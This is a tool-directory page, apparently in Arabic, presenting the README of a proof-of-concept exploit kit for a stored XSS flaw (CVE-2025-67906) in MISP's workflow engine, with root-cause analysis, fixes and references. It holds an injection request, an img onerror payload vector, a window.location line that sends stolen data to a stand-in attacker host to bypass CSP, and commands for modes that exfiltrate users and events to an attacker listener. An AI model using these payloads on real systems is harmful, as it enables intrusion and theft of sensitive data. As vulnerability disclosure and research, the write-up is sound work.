Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-67906 — MISP <= 2.5.27 - ثغرة تخزينية عبر المواقع باستخدام محرك سير العمل (حقن قالب doT.js). | Kitploit
أدوات/GitHubGitHub/franckferman/cve-2025-67906
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتتجاوز WAFاختبار الاختراقالفريق الأحمر
GitHubfranckferman/cve-2025-67906

CVE-2025-67906

MISP <= 2.5.27 - ثغرة تخزينية عبر المواقع باستخدام محرك سير العمل (حقن قالب doT.js).

عرض المستودع
2منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE Score GCVE CWE License Python No deps

CVE-2025-67906

MISP <= 2.5.27 - ثغرة تخزين البرمجة النصية عبر المواقع (XSS) عبر محرك سير العمل (حقن قالب doT.js)

اكتشفها Franck FERMAN

نظرة عامة - تحليل السبب الجذري - سلسلة الهجوم - الهيكل - الاستخدام - الإصلاح - المراجع


نظرة عامة على الثغرة

CVE-2025-67906 (GCVE-1-2025-0031) هي ثغرة تخزين البرمجة النصية عبر المواقع (Stored XSS) في MISP (منصة مشاركة معلومات البرمجيات الخبيثة) بالإصدارات حتى 2.5.27.

تقع الثغرة في app/View/Elements/Workflows/executionPath.ctp، وهو مكون عرض مسار تنفيذ سير العمل. يتم تخزين حقل name لمحفزات سير العمل في قاعدة البيانات دون تنقية من جانب الخادم (server-side sanitization) ثم يتم عرضه في DOM عبر محرك القوالب doT.js بدون هروب HTML (HTML escaping). يمكن لمهاجم مُصادَق عليه حقن HTML/JavaScript عشوائي يُنفّذ في جلسة المتصفح لأي مستخدم يعرض سير العمل المخترق.

نظرًا لأن الحمولة تُخزّن في قاعدة البيانات وتُعرض في كل تحميل صفحة، فإن XSS مستمرة (persistent) - تبقى بعد تحديث الصفحة، وتؤثر على عدة مستخدمين، وتستمر حتى يتم حذف سير العمل صراحة.

الاكتشاف: تم تحديد هذه الثغرة والإبلاغ عنها بشكل مسؤول من قبل Franck FERMAN.


درجات CVSS

توجد تقييمات متعددة لمعيار CVSS لهذه الثغرة:

يعكس تباين الدرجات تقييمات مختلفة لعمق التأثير. تأخذ درجة NIST NVD (9.0) في الاعتبار التأثير الكامل على السرية والنزاهة والتوفر، نظرًا لأن حمولة XSS تُنفّذ بامتيازات جلسة الضحية، مما يتيح استخراج البيانات على مستوى المسؤول والتلاعب بسير العمل. تأخذ درجة CNA (5.4) في الاعتبار تأثيرًا محدودًا على السرية والنزاهة فقط لـ XSS العام. تقدم درجة GCVE CVSS 4.0 (7.1) معدّلات متطلبات الهجوم (الامتياز) وتفاعل المستخدم النشط.

النطاق متغير (Changed) عبر جميع التقييمات لأن حمولة المهاجم (المحقونة عبر واجهة برمجة تطبيقات MISP) تُنفّذ في سياق أمني مختلف (جلسة متصفح الضحية).


تحليل السبب الجذري

متجه الحقن

يسمح محرك سير العمل في MISP للمستخدمين المُصادَق عليهم بإنشاء وتحرير سير العمل عبر REST API. يتضمن نموذج بيانات سير العمل مكوّن trigger مع حقل name. يتم هذا الحقل:

  1. قبوله بواسطة API دون التحقق من صحة الإدخال أو ترميز كيانات HTML
  2. تخزينه في قاعدة البيانات كنص خام (بدون تنقية من جانب الخادم)
  3. عرضه في المتصفح عبر محرك قوالب doT.js الخاص بـ JavaScript

لماذا doT.js ضعيف هنا؟

doT.js هو محرك قوالب JavaScript سريع. يستخدم {{= }} للاستيفاء (interpolation)، والذي لا يقوم بهروب HTML افتراضيًا. يستخدم محرر سير عمل MISP doT.js لعرض بيانات وصفية للمحفز (بما في ذلك حقل name) في DOM. عندما يحتوي حقل name على HTML مثل ``، يقوم محرك القالب بإدراجه كـ HTML خام، ويقوم المتصفح بتنفيذ JavaScript المضمنة.

يتطلب الإصلاح إما:

  • التبديل إلى صيغة الإخراج المشفرة في doT.js {{! }} التي تقوم بهروب HTML للقيمة
  • تنقية من جانب الخادم قبل الإدراج في قاعدة البيانات
  • كليهما (الدفاع في العمق)

نقطة الحقن

root@kitploit:~
POST /workflows/edit/{id}

{
  "Workflow": {
    "id": "1",
    "data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
  }
}

قيمة name داخل حقل JSON data هي نقطة الحقن. يتم تسلسل الرسم البياني الكامل لسير العمل كسلسلة JSON داخل جسم الطلب.

سياق العرض: المحرك الرسومي من جانب العميل

تضخم الثغرة بسبب الاختيار المعماري لاستخدام محرك قوالب من جانب العميل (doT.js) لعرض محرر سير العمل البصري. محرر سير العمل هو واجهة رسومية للسحب والإفلات حيث يُعرض كل محفز/إجراء ككتلة بصرية. يتم عرض حقل name للمحفز كتسمية (label) داخل هذه الكتل الرسومية.

يبني doT.js المكونات البصرية عن طريق توليد سلاسل HTML من القوالب وإدراجها في DOM. تنتج صيغة الاستيفاء {{= }} خرجًا غير مهروب - يتم التعامل مع أي بيانات تم استيفاؤها في القالب كترميز (markup) وليس كنص. إذا تم عرض نفس حقل name عبر element.textContent (الذي يعامل الإدخال كنص عادي) أو عبر صيغة الخرج المشفر الخاصة بـ doT.js {{! }}، فلن يكون XSS ممكنًا بغض النظر عن محتوى الإدخال.

توجد مساحة الهجوم تحديدًا بسبب:

  1. محرر رسومي يتطلب عرض HTML غني (كتل منسقة، أيقونات، تخطيطات)
  2. محرك القالب المختار (doT.js) يضع الافتراضي على خرج غير مهروب ({{= }}) من أجل الأداء
  3. تتدفق البيانات الوصفية المقدمة من المستخدم (أسماء المحفزات) إلى هذه القوالب دون تنقية
  4. النتيجة هي أن أي سلسلة مخزنة في حقل name يتم تفسيرها كـ HTML من قبل المتصفح

هذا نمط ثغرة شائع في تطبيقات الويب التي تستخدم محركات قوالب من جانب العميل لبناء واجهات بصرية تفاعلية: الحاجة إلى العرض الغني تخلق علاقة ثقة ضمنية بين القالب ومصادر بياناته، وأي إدخال مستخدم غير منقى يصل إلى القالب يصبح كودًا قابلًا للتنفيذ.

لماذا `` وليس <script>

عادةً لن يتم تنفيذ وسم <script> خام يتم حقنه عبر استيفاء القالب في هذا السياق. لا تقوم المتصفحات بتشغيل عناصر <script> التي يتم إدراجها في DOM بعد تحليل الصفحة الأولي (عبر innerHTML أو ما يعادله). تتجاوز سمات معالج الأحداث مثل onerror و onload و onmouseover على عناصر HTML هذا التقييد لأنها تشغل JavaScript مضمنة عندما يعالج المتصفح سمات العنصر، بغض النظر عن كيفية إدراج العنصر.

يُفضل متجه <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> لأن:

  • src="x" يضمن فشل تحميل فوري، مما يشغل onerror دون تفاعل المستخدم
  • يعمل عبر جميع المتصفحات ولا يتطلب أن يكون العنصر مرئيًا
  • يتجاوز قيود script-src لسياسة أمان المحتوى (CSP) التي تحظر وسوم <script> المضمنة، لأن التنفيذ يحدث عبر معالج حدث على عنصر غير وسوم script.

تجاوز CSP عبر التنقل (استخراج البيانات)

عادةً ما تنشر مثيلات MISP رؤوس سياسة أمان المحتوى (CSP) التي تقيد connect-src، مما يمنع استدعاءات fetch() و XMLHttpRequest إلى أصول خارجية. تتجاوز حمولات الاستخراج في هذا الإثبات المفاهيمي (PoC) CSP باستخدام window.location (التنقل) بدلاً من استدعاءات API:

root@kitploit:~
// محظور بواسطة CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data);  // انتهاك CSP

// غير محظور - التنقل لا تحكمه CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data;  // يعمل

لا يحتوي CSP على توجيه يتحكم في المكان الذي يمكن للصفحة التنقل إليه. تم اقتراح توجيه navigate-to في CSP Level 3 لكن لم يتم تنفيذه مطلقًا من قبل أي متصفح وتم التخلي عنه فعليًا. هذا يجعل window.location تجاوزًا موثوقًا لـ CSP لاستخراج البيانات من أي سياق XSS، بغض النظر عن سياسة CSP المطبقة.

المقايضة هي أن التنقل مرئي للضحية (تتغير الصفحة). يخفف server/redirector.py من ذلك عن طريق إصدار إعادة توجيه HTTP 302 فورية إلى مثيل MISP، مما يخلق وميضًا مرئيًا قصيرًا فقط. من منظور الضحية، تبدو الصفحة وكأنها تعيد التحميل.

تدفق بيانات الاستخراج:

root@kitploit:~
متصفح الضحية                 المهاجم (redirector.py)           MISP
      |                                 |                           |
      |-- GET /exfil?data=<مسروق> ---->|                           |
      |                                 | [يلتقط البيانات، يطبع]   |
      |<-- 302 Location: misp.url ------|                           |
      |                                 |                           |
      |-- GET /workflows/view/1 ---------------------------------------->|
      |<-- صفحة MISP عادية ---------------------------------------------|

تستغرق الرحلة الكاملة حوالي 100-200 مللي ثانية. يرى الضحية وميض صفحة على الأكثر.

التأثير الواقعي لـ XSS المخزنة

من المفاهيم الخاطئة الشائعة في تقييمات الأمان أن ثغرات XSS لها تأثير عملي محدود ("إنها مجرد صندوق تنبيه"). في مهام الفريق الأحمر الواقعية، تعتبر XSS المخزنة - خاصة المستمرة بدون نقر مثل هذه - اكتشافًا عالي القيمة على وجه التحديد لأن المهاجم لا يحتاج إلى نقر الضحية على أي شيء. تشتعل الحمولة تلقائيًا عند عرض الصفحة.

ما تمكن XSS المخزنة في الممارسة:

  • اختطاف الجلسة: إذا لم يتم وضع علامة HttpOnly على ملفات تعريف الارتباط، يسرق المهاجم ملف تعريف ارتباط جلسة المسؤول ويستولي على الحساب. حتى مع HttpOnly، يمكن استخراج رموز الجلسة المكشوفة في DOM أو في استجابات API.
  • استخراج كامل محتوى الصفحة: كل ما يراه الضحية، يراه المهاجم. قوائم المستخدمين، تفاصيل الأحداث، مفاتيح API المعروضة في صفحات المسؤول، بيانات المنظمة - كلها قابلة للقراءة عبر document.body.innerHTML أو استعلامات DOM المستهدفة.
  • حصاد بيانات الاعتماد: حقن نموذج تسجيل دخول مزيف أو طبقة تراكب لانتهاء الجلسة. يعيد الضحية إدخال كلمة مروره في HTML يتحكم فيه المهاجم.
  • الحركة الجانبية: من جلسة مسؤول مخترقة، يمكن إنشاء مفاتيح API جديدة، تعديل مجموعات المشاركة، دفع أحداث خبيثة إلى مثيلات MISP متصلة.
  • الثبات: تنجو الحمولة من إعادة تحميل الصفحة وتؤثر على كل مستخدم يزور سير العمل. تستمر حتى يتم حذفها صراحة.

عندما تقيد حمايات مثل CSP الطلبات الصادرة (connect-src، script-src)، يتكيف متجه الاستخراج - كما هو موضح في هذا PoC مع تجاوز التنقل window.location. يرفع CSP الحاجز لكنه لا يزيل الخطر. عندما يمنع HttpOnly سرقة ملفات تعريف الارتباط، ينتقل المهاجم إلى استخراج البيانات المستندة إلى DOM للبيانات المرئية مباشرة في الجلسة المُصادَق عليها.

في سياق اختبار الاختراق/الفريق الأحمر، تعتبر XSS المخزنة على منصة مثل MISP (التي تجمع معلومات التهديدات، ومؤشرات الاختراق، والبيانات التنظيمية) حرجة بشكل خاص لأن البيانات التي يمكن الوصول إليها من خلال جلسة المسؤول هي نفسها عالية الحساسية: مؤشرات الاختراق، تفاصيل التحقيقات الداخلية، عضويات مجموعات المشاركة، وعلاقات الثقة بين المنظمات.


سلسلة الهجوم

root@kitploit:~
1. يقوم المهاجم بالمصادقة على MISP (أي دور لديه إذن إنشاء سير عمل)
   |
2. POST /workflows/add -> ينشئ سير عمل جديدًا، ويستلم workflow_id + trigger_id
   |
3. POST /workflows/edit/{id} -> يحقن حمولة HTML/JS في حقل "name" للمحفز
   |   الحمولة: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
   |
4. تبقى الحمولة في قاعدة بيانات MISP
   |
5. يزور الضحية (أي مستخدم مُصادَق) /workflows/view/{id}
   |
6. يعرض doT.js اسم المحفز كـ HTML خام -> ينفذ المتصفح JavaScript
   |
7. يعتمد التأثير على وضع الحمولة:
      - alert()           إثبات التنفيذ
      - اختطاف الجلسة    سرقة ملف تعريف ارتباط الجلسة
      - استخراج البيانات  استخراج المستخدمين والأحداث ومفاتيح API من صفحات المسؤول
      - سرقة بيانات الاعتماد حقن نموذج تسجيل دخول مزيف

التأثير حسب وضع الحمولة


الإصدارات المتأثرة

البرنامجالمتأثرالمُصلَح
MISP<= 2.5.272.5.28

يتضمن الإصلاح في MISP v2.5.28. Commit التصحيح ذو الصلة: 1f39deb.


تعيين MITRE ATT&CK


هيكل المشروع

root@kitploit:~
poc_alert_cve_2025_67906.py                # PoC بسيط - تأكيد alert() (~200 سطر)
poc_exfiltrate_cve_2025_67906.py           # PoC بسيط - عرض استخراج البيانات (~150 سطر)
cve_2025_67906.py           # مجموعة استغلال كاملة - 7 أوضاع، حمولات مخصصة
server/
  redirector.py             # مستمع استخراج البيانات مع إعادة توجيه 302 شفافة
  • poc_alert_cve_2025_67906.py: الحد الأدنى، قابل للقراءة. يحقن alert() لتأكيد XSS. اقرأ هذا أولاً.
  • poc_exfiltrate_cve_2025_67906.py: عرض استخراج الحد الأدنى. يلتقط بريد الضحية الإلكتروني وعنوان URL ويرسله إلى خادم المهاجم.
  • cve_2025_67906.py: مجموعة استغلال كاملة مع 7 أوضاع حمولة، دعم حمولة مخصصة، وضع صامت.
  • server/redirector.py: خادم HTTP يلتقط البيانات المستخرجة ويعيد توجيه الضحية بشكل شفاف إلى MISP.

التثبيت

Python 3 (مكتبة قياسية فقط، لا تبعيات خارجية).

root@kitploit:~
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906

الاستخدام

التحقق السريع (poc_alert_cve_2025_67906.py)

تأكد من وجود الثغرة باستخدام alert() غير ضار:

root@kitploit:~
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY

قم بزيارة عنوان URL الذي يطبعه البرنامج النصي. يظهر صندوق تنبيه لتأكيد تنفيذ XSS.

عرض استخراج البيانات (poc_exfiltrate_cve_2025_67906.py)

root@kitploit:~
# الطرفية 1: ابدأ مستمع الاستخراج
python3 server/redirector.py https://misp.target.org --port 8000

# الطرفية 2: احقن الحمولة
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000

عندما يزور ضحية عنوان URL لسير العمل، يتم التقاط بريدهم الإلكتروني واسم المستخدم وعنوان URL للصفحة بواسطة المستمع.

مجموعة الاستغلال الكاملة (cve_2025_67906.py)

root@kitploit:~
# وضع التنبيه (افتراضي)
python3 cve_2025_67906.py https://misp.target.org API_KEY

# استخراج قائمة المستخدمين من صفحة المسؤول
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --mode exfiltrate_users --attacker YOUR_IP:8000

# استخراج قائمة الأحداث
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50

# حمولة مخصصة
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --payload ''

# وضع صامت (إخراج ضئيل)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet

الأوضاع المتاحة


الإصلاح

لمسؤولي MISP

  1. قم بترقية MISP إلى 2.5.28 أو أحدث (سجل التغييرات)
  2. اقتصر إنشاء سير العمل على الأدوار الموثوقة عبر نظام إذن الأدوار في MISP
  3. راقب سجلات التدقيق لإنشاء/تعديل سير العمل من قبل مستخدمين غير متوقعين
  4. راجع سير العمل الحالي بحثًا عن HTML مشبوه في أسماء المحفزات

لمطوري MISP

  1. قم بتبديل استيفاء doT.js من {{= }} (خام) إلى {{! }} (مشفر HTML) للحقول المقدمة من المستخدم
  2. تنقية من جانب الخادم لحقل name قبل الإدراج في قاعدة البيانات (إزالة وسوم HTML، ترميز الكيانات)
  3. رؤوس سياسة أمان المحتوى (CSP) لمنع تنفيذ البرنامج النصي المضمن كدفاع في العمق

المراجع

سجلات CVE

  • NVD - CVE-2025-67906 (NIST، CVSS 9.0 حرجة)
  • GCVE-1-2025-0031 (CIRCL Vulnerability-Lookup، CVSS 4.0: 7.1 عالية)

التصحيح والتحذيرات

  • سجل تغييرات MISP v2.5.27...v2.5.28
  • Commit التصحيح 1f39deb

مراجع فنية

  • مشروع MISP
  • مستودع MISP على GitHub
  • MISP Galaxy
  • محرك قوالب doT.js
  • CWE-79: تحييد غير صحيح للإدخال أثناء إنشاء صفحة الويب
  • MITRE ATT&CK - T1059.007: JavaScript
  • ورقة غش OWASP للوقاية من XSS

الشكر والتقدير

  • Franck FERMAN - اكتشاف الثغرة، تطوير PoC
  • Sami Mokaddem (Graphman) - مذكور في تحذير GCVE

إخلاء المسؤولية القانوني

تم توفير هذه الأداة لأغراض تدقيق الأمان المصرح به والبحث الأكاديمي والتعليم فقط. استخدامها ضد أنظمة دون إذن كتابي صريح من مالك النظام هو غير قانوني. لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو الخبيث.

تنزيل الأداة
المصدرالدرجةالشدةالمتجه
NIST NVD9.0حرجةCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
GCVE (CIRCL)7.1عاليةCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
CNA (MITRE)5.4متوسطةCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
الوضعالتأثيرالمتطلبات
alertيؤكد تنفيذ XSSأي مستخدم يعرض سير العمل
alert_infoيعرض بريد الضحية الإلكتروني وعنوان URLأي مستخدم يعرض سير العمل
console_infoيسجل بريد المستخدم الإلكتروني ودوره وعنوان URL في DevToolsأي مستخدم يعرض سير العمل
exfiltrate_usersيستخرج قائمة المستخدمين (المعرف، المنظمة، الدور، البريد الإلكتروني) من /admin/users/indexمسؤول يعرض سير العمل + مستمع المهاجم
exfiltrate_pageيلتقط محتوى الصفحة الحالية وهوية المستخدمأي مستخدم يعرض سير العمل + مستمع المهاجم
exfiltrate_eventsيستخرج قائمة الأحداث (المعرف، المنظمة، التاريخ، TLP، المعلومات)أي مستخدم يعرض سير العمل + مستمع المهاجم
المعرفالتكتيكالتقنيةالصلة
T1059.007التنفيذJavaScriptتنفذ حمولة XSS JavaScript في متصفح الضحية
T1189الوصول الأولياختراق عبر التصفح (Drive-by Compromise)تبدأ الحمولة المخزنة عند زيارة الصفحة
T1557الجمعالخصم في المتصفح (Adversary-in-the-Browser)تعمل الحمولة ضمن جلسة الضحية المُصادَق عليها
T1539الوصول إلى بيانات الاعتمادسرقة ملف تعريف ارتباط جلسة الويبيمكن الوصول إلى ملفات تعريف ارتباط الجلسة إذا لم يتم تعيين HttpOnly
T1005الجمعبيانات من النظام المحلياستخراج قوائم المستخدمين والأحداث ومحتوى الصفحة
الوضعالوصف
alertصندوق تنبيه بسيط (افتراضي، آمن للعرض)
alert_infoصندوق تنبيه مع عنوان URL للضحية والبريد الإلكتروني ووكيل المستخدم
consoleتأكيد Console.log
console_infoتسجيل البريد الإلكتروني للمستخدم ودوره وعنوان URL في وحدة تحكم DevTools
exfiltrate_usersاستخراج قائمة المستخدمين من /admin/users/index (يتطلب ضحية مسؤول)
exfiltrate_pageالتقاط محتوى الصفحة الحالية وهوية المستخدم
exfiltrate_eventsاستخراج قائمة الأحداث مع المعرف والمنظمة والتاريخ وTLP والمعلومات